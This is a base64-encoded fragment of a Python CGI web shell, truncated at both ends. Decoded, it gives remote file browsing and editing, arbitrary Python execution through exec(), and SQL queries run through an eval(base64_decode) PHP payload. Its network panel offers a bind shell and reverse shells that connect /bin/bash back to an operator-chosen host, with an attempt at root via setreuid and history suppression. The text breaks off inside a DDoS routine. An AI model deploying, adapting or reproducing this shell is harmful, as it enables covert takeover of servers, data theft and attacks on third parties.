10rIjwvdGQ+PHRkPiIraXRlbVsnbXRpbWUnXSsiPC90ZD48dGQ+IitpdGVtWyd1aWQnXSsiLyIraXRlbVsnZ2lkJ10rIjwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPVwiZygnZmlsZVRvb2xzJywgbnVsbCwgJyIrZXNjYXBlKGl0ZW1bJ25hbWUnXSkrIicsICdjaG1vZCcpXCI+IitpdGVtWydwZXJtcyddKyI8L2E+PC90ZD4iCiAgICAgICAgcHJpbnQgIjx0ZD48YSBocmVmPSMgb25jbGljaz1cImcoJ2ZpbGVUb29scycsIG51bGwsICciK2VzY2FwZShpdGVtWyduYW1lJ10pKyInLCAncmVuYW1lJylcIj5SPC9hPiA8YSBocmVmPSMgb25jbGljaz1cImcoJ2ZpbGVUb29scycsIG51bGwsICciK2VzY2FwZShpdGVtWyduYW1lJ10pKyInLCAndG91Y2gnKVwiPlQ8L2E+PC90ZD48L3RyPiIKICAgICAgICBsaW5lID0gKGxpbmUgKyAxKSUyCiAgICBmb3IgaXRlbSBpbiBzb3J0ZWQoZmlsZXMsIHNvcnQpOgogICAgICAgIHByaW50ICI8dHIiCiAgICAgICAgaWYgbGluZToKICAgICAgICAgICAgcHJpbnQgIiBjbGFzcz1sMSIKICAgICAgICBwcmludCAiPjx0ZD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiZmlsZVRvb2xzXCIsbnVsbCxcIiIrZXNjYXBlKGl0ZW1bJ25hbWUnXSkrIlwiKSc+IitjZ2kuZXNjYXBlKGl0ZW1bJ25hbWUnXSkrIjwvYT48L3RkPjx0ZD4iK2l0ZW1bJ3NpemUnXSsiPC90ZD48dGQ+IitpdGVtWydtdGltZSddKyI8L3RkPjx0ZD4iK2l0ZW1bJ3VpZCddKyIvIitpdGVtWydnaWQnXSsiPC90ZD48dGQ+PGEgaHJlZj0jIG9uY2xpY2s9XCJnKCdmaWxlVG9vbHMnLCBudWxsLCAnIitlc2NhcGUoaXRlbVsncGF0aCddKSsiJywgJ2NobW9kJylcIj4iK2l0ZW1bJ3Blcm1zJ10rIjwvYT48L3RkPiIKICAgICAgICBwcmludCAiPHRkPjxhIGhyZWY9IyBvbmNsaWNrPVwiZygnZmlsZVRvb2xzJywgbnVsbCwgJyIrZXNjYXBlKGl0ZW1bJ25hbWUnXSkrIicsICdyZW5hbWUnKVwiPlI8L2E+IDxhIGhyZWY9IyBvbmNsaWNrPVwiZygnZmlsZVRvb2xzJywgbnVsbCwgJyIrZXNjYXBlKGl0ZW1bJ25hbWUnXSkrIicsICd0b3VjaCcpXCI+VDwvYT4gPGEgaHJlZj0jIG9uY2xpY2s9XCJnKCdmaWxlVG9vbHMnLCBudWxsLCAnIitlc2NhcGUoaXRlbVsnbmFtZSddKSsiJywgJ2VkaXQnKVwiPkU8L2E+IDxhIGhyZWY9IyBvbmNsaWNrPVwiZygnZmlsZVRvb2xzJywgbnVsbCwgJyIrZXNjYXBlKGl0ZW1bJ25hbWUnXSkrIicsICdkb3dubG9hZCcpXCI+RDwvYT48L3RkPjwvdHI+IgogICAgICAgIGxpbmUgPSAobGluZSArIDEpJTIKCiAgICBwcmludCAiPC9mb3JtPjwvdGFibGU+PC9kaXY+IgogICAgcHJpbnRGb290ZXIoKQoKZGVmIGFjdGlvbkZpbGVUb29scygpOgogICAgaWYgX1JFUVVFU1RbJ3AyJ10gPT0gIiI6CiAgICAgICAgX1JFUVVFU1RbJ3AyJ10gPSAidmlldyIKICAgIGlmIF9SRVFVRVNUWydwMiddID09ICJkb3dubG9hZCI6CiAgICAgICAgcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSIgKyBvcy5wYXRoLmJhc2VuYW1lKF9SRVFVRVNUWydwMSddKSArICJcbiIKICAgICAgICB0cnk6CiAgICAgICAgICAgIGZwID0gb3BlbihfUkVRVUVTVFsncDEnXSwgJ3JiJykKICAgICAgICAgICAgZm9yIHggaW4gZnAucmVhZGxpbmVzKCk6CiAgICAgICAgICAgICAgICBzeXMuc3Rkb3V0LndyaXRlKHgpCiAgICAgICAgICAgIGZwLmNsb3NlKCkKICAgICAgICBleGNlcHQ6IHBhc3MKICAgICAgICByZXR1cm4KICAgIGlmIF9SRVFVRVNUWydwMiddID09ICJzYXZlIjoKICAgICAgICB0cnk6CiAgICAgICAgICAgIGZwID0gb3BlbihfUkVRVUVTVFsncDEnXSwgJ3cnKQogICAgICAgICAgICBmcC53cml0ZShfUkVRVUVTVFsncDMnXSkKICAgICAgICAgICAgZnAuY2xvc2UoKQogICAgICAgIGV4Y2VwdDogcGFzcwogICAgICAgIF9SRVFVRVNUWydwMiddID0gJ2VkaXQnCiAgICBwcmludEhlYWRlcigpCiAgICBwcmludCAiPGgxPkZpbGUgdG9vbHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4iCiAgICBpdGVtX3N0YXQgPSBvcy5zdGF0KF9SRVFVRVNUWydwMSddKQogICAgcHJpbnQgIjxzcGFuPkZpbGU6IDwvc3Bhbj4iICsgb3MucGF0aC5iYXNlbmFtZShfUkVRVUVTVFsncDEnXSkgKyAiIDxzcGFuPlNpemU6IDwvc3Bhbj4gIiArdmlld1NpemUoaXRlbV9zdGF0W1NUX1NJWkVdKSArICIgPHNwYW4+UGVybWlzc2lvbjo8L3NwYW4+ICIgK3Blcm1zQ29sb3IoX1JFUVVFU1RbJ3AxJ10pCiAgICBwcmludCAiPGJyLz4iCiAgICBpZiBTX0lTRElSKGl0ZW1fc3RhdFtTVF9NT0RFXSk6CiAgICAgICAgbWVudSA9IFsnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJ10KICAgIGVsc2U6CiAgICAgICAgbWVudSA9IFsnVmlldycsICdEb3dubG9hZCcsICdFZGl0JywgJ0NobW9kJywgJ1JlbmFtZScsICdUb3VjaCddCiAgICBmb3IgeCBpbiBtZW51OgogICAgICAgIHByaW50ICI8YSBocmVmPSMgb25jbGljaz1cImcobnVsbCwgbnVsbCwgbnVsbCwgJyIreC5sb3dlcigpKyInKVwiPiIKICAgICAgICBpZiB4Lmxvd2VyKCkgPT0gX1JFUVVFU1RbJ3AyJ106CiAgICAgICAgICAgIHByaW50ICI8Yj5bICIgKyB4ICsgIiBdPC9iPiIKICAgICAgICBlbHNlOgogICAgICAgICAgICBwcmludCB4CiAgICAgICAgcHJpbnQgIjwvYT4gIgogICAgcHJpbnQgIjxicj48YnI+IjsKICAgIGlmIF9SRVFVRVNUWydwMiddID09ICJ2aWV3IjoKICAgICAgICB0cnk6CiAgICAgICAgICAgIGZwID0gb3BlbihfUkVRVUVTVFsncDEnXSwgJ3InKQogICAgICAgICAgICBwcmludCAiPHByZSBjbGFzcz1tbDE+IgogICAgICAgICAgICBmb3IgeCBpbiBmcC5yZWFkbGluZXMoKToKICAgICAgICAgICAgICAgIHN5cy5zdGRvdXQud3JpdGUoY2dpLmVzY2FwZSh4KSkKICAgICAgICAgICAgZnAuY2xvc2UoKQogICAgICAgICAgICBwcmludCAiPC9wcmU+IgogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgcHJpbnQgIkNhbid0IG9wZW4gZmlsZSEgIitfUkVRVUVTVFsncDEnXQogICAgaWYgX1JFUVVFU1RbJ3AyJ10gPT0gImVkaXQiOgogICAgICAgIHRyeToKICAgICAgICAgICAgZnAgPSBvcGVuKF9SRVFVRVNUWydwMSddLCAncicpCiAgICAgICAgICAgIHByaW50ICI8Zm9ybSBvbnN1Ym1pdD1cImcobnVsbCxudWxsLCciK2VzY2FwZShfUkVRVUVTVFsncDEnXSkrIicsICdzYXZlJywgdGhpcy5mLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHRleHRhcmVhIG5hbWU9ZiBjbGFzcz1iaWdhcmVhPiIKICAgICAgICAgICAgZm9yIHggaW4gZnAucmVhZGxpbmVzKCk6CiAgICAgICAgICAgICAgICBzeXMuc3Rkb3V0LndyaXRlKGNnaS5lc2NhcGUoeCkpCiAgICAgICAgICAgIGZwLmNsb3NlKCkKICAgICAgICAgICAgcHJpbnQgIjwvdGV4dGFyZWE+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyZndDsmZ3Q7Jz48L2Zvcm0+IgogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgcHJpbnQgIkNhbid0IG9wZW4gKGNyZWF0ZSkgZmlsZSEgIitfUkVRVUVTVFsncDEnXQogICAgaWYgX1JFUVVFU1RbJ3AyJ10gPT0gImNobW9kIjoKICAgICAgICBpbXBvcnQgc3RhdCwgc3RyaW5nCiAgICAgICAgaWYgbGVuKF9SRVFVRVNUWydwMyddKToKICAgICAgICAgICAgcGVybSA9IHN0cmluZy5hdG9pKF9SRVFVRVNUWydwMyddLCA4KQogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBvcy5jaG1vZChfUkVRVUVTVFsncDEnXSwgcGVybSkKICAgICAgICAgICAgICAgIHByaW50ICJEb25lIgogICAgICAgICAgICBleGNlcHQ6IHByaW50ICJGYWlsISIKICAgICAgICBwcmludCAiPGZvcm0gb25zdWJtaXQ9XCJnKG51bGwsbnVsbCwnIitlc2NhcGUoX1JFUVVFU1RbJ3AxJ10pKyInLCAnY2htb2QnLCB0aGlzLnAudmFsdWUpO3JldHVybiBmYWxzZTtcIj48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncCcgdmFsdWU9JyIKICAgICAgICBwcmludCAiJW8iICUgc3RhdC5TX0lNT0RFKG9zLnN0YXQoX1JFUVVFU1RbJ3AxJ10pW1NUX01PREVdKQogICAgICAgIHByaW50ICInLz48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nJmd0OyZndDsnPjwvZm9ybT4iCiAgICBpZiBfUkVRVUVTVFsncDInXSA9PSAicmVuYW1lIjoKICAgICAgICBpZiBsZW4oX1JFUVVFU1RbJ3AzJ10pOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBvcy5yZW5hbWUoX1JFUVVFU1RbJ3AxJ10sIF9SRVFVRVNUWydwMyddKQogICAgICAgICAgICAgICAgX1JFUVVFU1RbJ3AxJ10gPSBfUkVRVUVTVFsncDMnXQogICAgICAgICAgICAgICAgcHJpbnQgIkRvbmU8c2NyaXB0PnAyXz0nIiArIGVzY2FwZShfUkVRVUVTVFsncDMnXSkgKyAiJzwvc2NyaXB0PiIKICAgICAgICAgICAgZXhjZXB0OiBwcmludCAiRmFpbCEiCiAgICAgICAgcHJpbnQgIjxmb3JtIG9uc3VibWl0PVwiZyhudWxsLG51bGwsJyIrZXNjYXBlKF9SRVFVRVNUWydwMSddKSsiJywgJ3JlbmFtZScsIHRoaXMubi52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSduJyB2YWx1ZT0nIiArIGVzY2FwZShfUkVRVUVTVFsncDEnXSkrICInLz48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nJmd0OyZndDsnPjwvZm9ybT4iCgogICAgaWYgX1JFUVVFU1RbJ3AyJ10gPT0gInRvdWNoIjoKICAgICAgICBpZiBsZW4oX1JFUVVFU1RbJ3AzJ10pOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICB0bXN0bXAgPSB0aW1lLm1rdGltZSh0aW1lLnN0cnB0aW1lKF9SRVFVRVNUWydwMyddLCAiJVktJW0tJWQgJUg6JU06JVMiKSkKICAgICAgICAgICAgICAgIG9zLnV0aW1lKF9SRVFVRVNUWydwMSddLCAodG1zdG1wLCB0bXN0bXApKQogICAgICAgICAgICAgICAgaXRlbV9zdGF0ID0gb3Muc3RhdChfUkVRVUVTVFsncDEnXSkKICAgICAgICAgICAgICAgIHByaW50ICJEb25lIgogICAgICAgICAgICBleGNlcHQ6IHByaW50ICJGYWlsISIKICAgICAgICBwcmludCAiPGZvcm0gb25zdWJtaXQ9XCJnKG51bGwsbnVsbCwnIitlc2NhcGUoX1JFUVVFU1RbJ3AxJ10pKyInLCAndG91Y2gnLCB0aGlzLm4udmFsdWUpO3JldHVybiBmYWxzZTtcIj48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nbicgdmFsdWU9JyIKICAgICAgICBwcmludCBkYXRldGltZS5mcm9tdGltZXN0YW1wKGl0ZW1fc3RhdFtTVF9NVElNRV0pLnN0cmZ0aW1lKCIlWS0lbS0lZCAlSDolTTolUyIpCiAgICAgICAgcHJpbnQgIicvPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScmZ3Q7Jmd0Oyc+PC9mb3JtPiIKCiAgICBwcmludCAiPC9kaXY+IgogICAgcHJpbnRGb290ZXIoKQoKZGVmIGFjdGlvblB5dGhvbigpOgogICAgcHJpbnRIZWFkZXIoKQogICAgcHJpbnQgIjxoMT5FeGVjIHB5dGhvbiBjb2RlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+IgogICAgcHJpbnQgIiIiPGZvcm0gbmFtZT0iY2YiIG9uU3VibWl0PSJnKG51bGwsIG51bGwsIHRoaXMuYy52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHRleHRhcmVhIGNsYXNzPWJpZ2FyZWEgbmFtZT1jPiIiIgogICAgcHJpbnQgJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSImZ3Q7Jmd0OyI+JwogICAgaWYgbGVuKF9SRVFVRVNUWydwMSddKSA+IDA6CiAgICAgICAgcHJpbnQgJzxwcmUgY2xhc3M9Im1sMSIgc3R5bGU9Im1hcmdpbi10b3A6NXB4OyI+JwogICAgICAgIHRyeToKICAgICAgICAgICAgaW1wb3J0IFN0cmluZ0lPCiAgICAgICAgICAgIG9sZF9zdGRvdXQgPSBzeXMuc3Rkb3V0CiAgICAgICAgICAgIHN5cy5zdGRvdXQgPSBTdHJpbmdJTy5TdHJpbmdJTygpCiAgICAgICAgICAgIGV4ZWMoX1JFUVVFU1RbJ3AxJ10pCiAgICAgICAgICAgIGRhdGEgPSBzeXMuc3Rkb3V0LmdldHZhbHVlKCkKICAgICAgICAgICAgc3lzLnN0ZG91dCA9IG9sZF9zdGRvdXQKICAgICAgICAgICAgcHJpbnQgY2dpLmVzY2FwZShkYXRhKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgcGFzcwogICAgICAgIHByaW50ICc8L3ByZT4nCiAgICBwcmludCAiPC9mb3JtPjwvZGl2PiIKICAgIHByaW50Rm9vdGVyKCkKCmRlZiBhY3Rpb25TUUwoKToKICAgIHByaW50SGVhZGVyKCkKICAgIHRoZXBocCA9ICcnJwokdXNlciA9ICJMT0xVU0VSRlVDSyI7JHBhc3N3b3JkID0gIkxPTFBBU1NGVUNLIjsgJGhvc3QgPSAiTE9MSE9TVEZVQ0siOyAkZGIgPSAiTE9MREJGVUNLIjsgbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzc3dvcmQpOyAkcXVlcnkgPSAiTE9MUVVFUllGVUNLIjsgbXlzcWxfc2VsZWN0X2RiKCRkYik7ICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnkpOyAgd2hpbGUoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX05VTSkpIHsgZm9yKCRpID0gMDskaTxjb3VudCgkcm93KTskaSsrKSB7IGVjaG8gJHJvd1skaV0uJzxicj4nO30gfQonJycKICAgIGlmIF9SRVFVRVNULmhhc19rZXkoJ2RiJyk6CiAgICAgICAgcHJpbnQgIiIiPGgxPlNRTDwvaDE+PGRpdiBjbGFzcz1jb250ZW50PgogICAgPGZvcm0gbmFtZT0nbmZwJyBtZXRob2Q9J3Bvc3QnPgoJPHNwYW4+UnVuIFNRTDwvc3Bhbj48YnIvPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhJyB2YWx1ZT0nc3FsJz4KCUhvc3Q6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdob3N0JyB2YWx1ZT0nIiIiK19SRVFVRVNUWydob3N0J10rIiIiJz5EYXRhYmFzZTogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2RiJyB2YWx1ZT0nIiIiK19SRVFVRVNUWydkYiddKyIiIic+IFVzZXI6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd1c2VyJyB2YWx1ZT0nIiIiK19SRVFVRVNUWyd1c2VyJ10rIiIiJz4gUGFzczogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3Bhc3MnIHZhbHVlPSciIiIrX1JFUVVFU1RbJ3Bhc3MnXSsiIiInPiBRdWVyeTogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3F1ZXJ5JyB2YWx1ZT0nIiIiK19SRVFVRVNUWydxdWVyeSddKyIiIic+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+Cgk8L2Zvcm0+PGJyPjwvZGl2PiIiIgogICAgZWxzZToKICAgICAgICBwcmludCAiIiI8aDE+U1FMPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+CiAgICA8Zm9ybSBuYW1lPSduZnAnIG1ldGhvZD0ncG9zdCc+Cgk8c3Bhbj5SdW4gU1FMPC9zcGFuPjxici8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdzcWwnPgoJSG9zdDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2hvc3QnIHZhbHVlPSdsb2NhbGhvc3QnPiBEYXRhYmFzZTogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2RiJyB2YWx1ZT0nbXlzcWwnPiBVc2VyOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndXNlcicgdmFsdWU9J3Jvb3QnPiBQYXNzOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncGFzcycgdmFsdWU9J2RvbmdzJz4gUXVlcnk6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdxdWVyeScgdmFsdWU9J3Nob3cgZGF0YWJhc2VzJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij4KCTwvZm9ybT48YnI+PC9kaXY+IiIiCiAgICBpZiBfUkVRVUVTVC5oYXNfa2V5KCdkYicpOgogICAgICAgIHRoZXBocCA9IHRoZXBocC5yZXBsYWNlKCJMT0xVU0VSRlVDSyIsIF9SRVFVRVNUWyd1c2VyJ10pLnJlcGxhY2UoIkxPTFBBU1NGVUNLIiwgX1JFUVVFU1RbJ3Bhc3MnXSkucmVwbGFjZSgiTE9MUVVFUllGVUNLIiwgX1JFUVVFU1RbJ3F1ZXJ5J10pLnJlcGxhY2UoIkxPTERCRlVDSyIsIF9SRVFVRVNUWydkYiddKS5yZXBsYWNlKCJMT0xIT1NURlVDSyIsIF9SRVFVRVNUWydob3N0J10pCiAgICAgICAgdGhlcGhwID0gYjY0ZW5jb2RlKHRoZXBocCkgIyBjYXVzZSBmdWNrIGVzY2FwaW5nIHNoaXQKICAgICAgICB0aGVwaHAgPSAnXCIlc1wiJyAlIHRoZXBocAogICAgICAgIHByaW50IGNvbW1hbmRzLmdldG91dHB1dCgiZWNobyAnPD9waHAgZXZhbChiYXNlNjRfZGVjb2RlKCIrdGhlcGhwKyIpKTsgPz4nIHwgcGhwIikucmVwbGFjZSgiXG4iLCI8YnI+IikKICAgIHByaW50Rm9vdGVyKCkKCmRlZiBhY3Rpb25OZXR3b3JrKCk6CiAgICBwcmludEhlYWRlcigpCiAgICBpZiBfUkVRVUVTVFsncDEnXSAhPSAiIjoKICAgICAgICBzb2NrPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsIHNvY2tldC5TT0NLX1NUUkVBTSkKICAgICAgICBzb2NrLnNldHRpbWVvdXQoMTApCiAgICBpZiBfUkVRVUVTVFsncDEnXSA9PSAiYnAiOgogICAgICAgIHRyeToKICAgICAgICAgICAgc29jay5iaW5kKCgnbG9jYWxob3N0JywgaW50KF9SRVFVRVNUWydwMiddKSkpCiAgICAgICAgICAgIHNvY2subGlzdGVuKDApCiAgICAgICAgZXhjZXB0OgogICAgICAgICAgICBwcmludCAiZXJyb3IiCiAgICAgICAgZWxzZToKICAgICAgICAgICAgcHJpbnQgImRvbmUiCiAgICAgICAgaWYgb3MuZm9yaygpIT0wOgogICAgICAgICAgICAoYyxhZGRyKT1zb2NrLmFjY2VwdCgpCiAgICAgICAgICAgIG9zLmR1cDIoYy5maWxlbm8oKSwgMCkKICAgICAgICAgICAgb3MuZHVwMihjLmZpbGVubygpLCAxKQogICAgICAgICAgICBvcy5kdXAyKGMuZmlsZW5vKCksIDIpCiAgICAgICAgICAgIG9zLnN5c3RlbSgnL2Jpbi9zaCAtaScpCiAgICAgICAgICAgIGMuc2h1dGRvd24oMikKICAgICAgICAgICAgc29jay5zaHV0ZG93bigyKQogICAgZWxpZiBfUkVRVUVTVFsncDEnXSA9PSAiYmMiOgogICAgICAgIHRyeToKICAgICAgICAgICAgc29jay5jb25uZWN0KCAoX1JFUVVFU1RbJ3AyJ10sIGludChfUkVRVUVTVFsncDMnXSkpICkKICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgIHByaW50ICJlcnJvciIKICAgICAgICBlbHNlOgogICAgICAgICAgICBwcmludCAiZG9uZSIKICAgICAgICAgICAgaWYgb3MuZm9yaygpIT0wOgogICAgICAgICAgICAgICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAwKQogICAgICAgICAgICAgICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAxKQogICAgICAgICAgICAgICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAyKQogICAgICAgICAgICAgICAgb3Muc3lzdGVtKCcvYmluL2Jhc2ggLWknKQogICAgICAgICAgICAgICAgc29jay5zaHV0ZG93bigyKQogICAgZWxpZiBfUkVRVUVTVFsncDEnXSA9PSAiY2MiOgogICAgICAgIHRyeToKICAgICAgICAgICAgc29jay5jb25uZWN0KCAoX1JFUVVFU1RbJ3AyJ10sIGludChfUkVRVUVTVFsncDMnXSkpICkKICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgIHByaW50ICJlcnJvciIKICAgICAgICBlbHNlOgogICAgICAgICAgICBwcmludCAiZG9uZSIKICAgICAgICAgICAgdHJ5OiBvcy5zZXRyZXVpZCgwLDApCiAgICAgICAgICAgIGV4Y2VwdDogcGFzcwogICAgICAgICAgICB1bmFtZSA9IGNvbW1hbmRzLmdldG91dHB1dCgidW5hbWUgLWEiKQogICAgICAgICAgICBpZCA9IGNvbW1hbmRzLmdldG91dHB1dCgiaWQiKQogICAgICAgICAgICBwaWQsIGNoaWxkUHJvY2VzcyA9IHB0eS5mb3JrKCkgCiAgICAgICAgICAgIGlmIHBpZCA9PSAwOgogICAgICAgICAgICAgICAgc29jay5zZW5kKGFzY2lpKQogICAgICAgICAgICAgICAgc29jay5zZW5kKHVuYW1lKyJcclxuIitpZCsiXHJcbiIpCiAgICAgICAgICAgICAgICBvcy5wdXRlbnYoIkhJU1RGSUxFIiwiL2Rldi9udWxsIikKICAgICAgICAgICAgICAgIG9zLnB1dGVudigiSE9NRSIsb3MuZ2V0Y3dkKCkpCiAgICAgICAgICAgICAgICBvcy5wdXRlbnYoIlBBVEgiLCcvdXNyL2xvY2FsL3NiaW46L3Vzci9zYmluOi9zYmluOicrb3MuZ2V0ZW52KCdQQVRIJykpCiAgICAgICAgICAgICAgICBvcy5wdXRlbnYoIlRFUk0iLCdsaW51eCcpCiAgICAgICAgICAgICAgICBvcy5wdXRlbnYoIlBTMSIsY29sb3IrJycnXHVAXGg6XHdcJCAnJycrcmVzZXQpCiAgICAgICAgICAgICAgICBwdHkuc3Bhd24oIi9iaW4vYmFzaCIpCiAgICAgICAgICAgICAgICBzb2NrLnNlbmQoIlxyXG4iKQogICAgICAgICAgICAgICAgc29jay5zaHV0ZG93bigxKQogICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgYiA9IHNvY2subWFrZWZpbGUob3MuT19SRE9OTFl8b3MuT19OT05CTE9DSykgCiAgICAgICAgICAgICAgICBjID0gb3MuZmRvcGVuKGNoaWxkUHJvY2VzcywncisnKSAKICAgICAgICAgICAgICAgIHkgPSB7YjpjLGM6Yn0KICAgICAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgICAgICB3aGlsZSBUcnVlOgogICAgICAgICAgICAgICAgICAgICAgICBmb3IgbiBpbiBzZWxlY3Quc2VsZWN0KFtiLGNdLFtdLFtdKVswXTogCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB6ID0gb3MucmVhZChuLmZpbGVubygpLDQwOTYpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB5W25dLndyaXRlKHopIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgeVtuXS5mbHVzaCgpIAogICAgICAgICAgICAgICAgZXhjZXB0OiBwYXNzCiAgICAgICAgICAgICAgICAKICAgIHByaW50ICIiIjxoMT5OZXR3b3JrIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+CiAgICA8Zm9ybSBuYW1lPSduZnAnIG9uU3VibWl0PSJnKG51bGwsbnVsbCwnYnAnLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+Cgk8c3Bhbj5CaW5kIHBvcnQgdG8gL2Jpbi9zaDwvc3Bhbj48YnIvPgoJUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPScyMDQ4Jz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij4KCTwvZm9ybT4KPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD0iZyhudWxsLG51bGwsJ2JjJyx0aGlzLnNlcnZlci52YWx1ZSx0aGlzLnBvcnQudmFsdWUpO3JldHVybiBmYWxzZTsiPgoJPHNwYW4+QmFjay1jb25uZWN0IHNoZWxsOiA8L3NwYW4+PGJyLz4KCVNlcnZlcjogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3NlcnZlcicgdmFsdWU9JyIiIitvcy5lbnZpcm9uWydSRU1PVEVfQUREUiddKyIiIic+IFBvcnQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0JyB2YWx1ZT0nNDQzJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij4KCTwvZm9ybT4KCTxmb3JtIG5hbWU9J25mcCcgb25TdWJtaXQ9ImcobnVsbCxudWxsLCdjYycsdGhpcy5zZXJ2ZXIudmFsdWUsdGhpcy5wb3J0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij4KCTxzcGFuPkNoaXBweTEzMzcgZW5oYW5jZWQgYmFjay1jb25uZWN0IHNoZWxsIChyZXF1aXJlcyBzb2NhdCk6IDwvc3Bhbj48YnIvPgoJU2VydmVyOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc2VydmVyJyB2YWx1ZT0nIiIiK29zLmVudmlyb25bJ1JFTU9URV9BRERSJ10rIiIiJz4gUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSc0NDMnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPgoJPC9mb3JtPjxicj48L2Rpdj4iIiIKICAgIHByaW50Rm9vdGVyKCkKZGVmIGFjdGlvbkRET1MoKToKICAgIHByaW50SGVhZGVyKCkKICAgIGlmIF9SRVFVRVNUWydwMSddICE9ICIiOgogICAgICAgIHNvY2s9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCwgc29ja2V0LlNPQ0tfU1RSRUFNKQogICAgICAgIHNvY2suc2V0dGltZW91dCgxMCkKICAgIGlmIF9SRVFVRVNUWydwMSddID09ICJicCI6CiAgICAgICAgdHJ5OgogICAgICAgICAgICBzb2NrLmJpbmQoKCdsb2NhbGhvc3QnLCBpbnQoX1JFUVVFU1RbJ3AyJ10pKSkKICAgICAgICAgICAgc29jay5saXN0ZW4oMCkKICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgIHByaW50ICJlcnJvciIKICAgICAgICBlbHNlOgogICAgICAgICAgICBwcmludCAiZG9uZSIKICAgICAgICBpZiBvcy5mb3JrKCkhPTA6CiAgICAgICAgICAgIChjLGFkZHIpPXNvY2suYWNjZXB0KCkKICAgICAgICAgICAgb3MuZHVwMihjLmZpbGVubygpLCAwKQogICAgICAgICAgICBvcy5kdXAyKGMuZmlsZW5vKCksIDEpCiAgICAgICAgICAgIG9zLmR1cDIoYy5maWxlbm8oKSwgMikKICAgICAgICAgICAgb3Muc3lzdGVtKCcvYmluL3NoIC1pJykKICAgICAgICAgICAgYy5zaHV0ZG93bigyKQogICAgICAgICAgICBzb2NrLnNodXRkb3duKDIpCiAgICBlbGlmIF9SRVFVRVNUWydwMSddID09ICJiYyI6CiAgICAgICAgdHJ5OgogICAgICAgICAgICBzb2NrLmNvbm5lY3QoIChfUkVRVUVTVFsncDInXSwgaW50KF9SRVFVRVNUWydwMyddKSkgKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgcHJpbnQgImVycm9yIgogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHByaW50ICJkb25lIgogICAgICAgICAgICBpZiBvcy5mb3JrKCkhPTA6CiAgICAgICAgICAgICAgICBvcy5kdXAyKHNvY2suZmlsZW5vKCksIDApCiAgICAgICAgICAgICAgICBvcy5kdXAyKHNvY2suZmlsZW5vKCksIDEpCiAgICAgICAgICAgICAgICBvcy5kdXAyKHNvY2su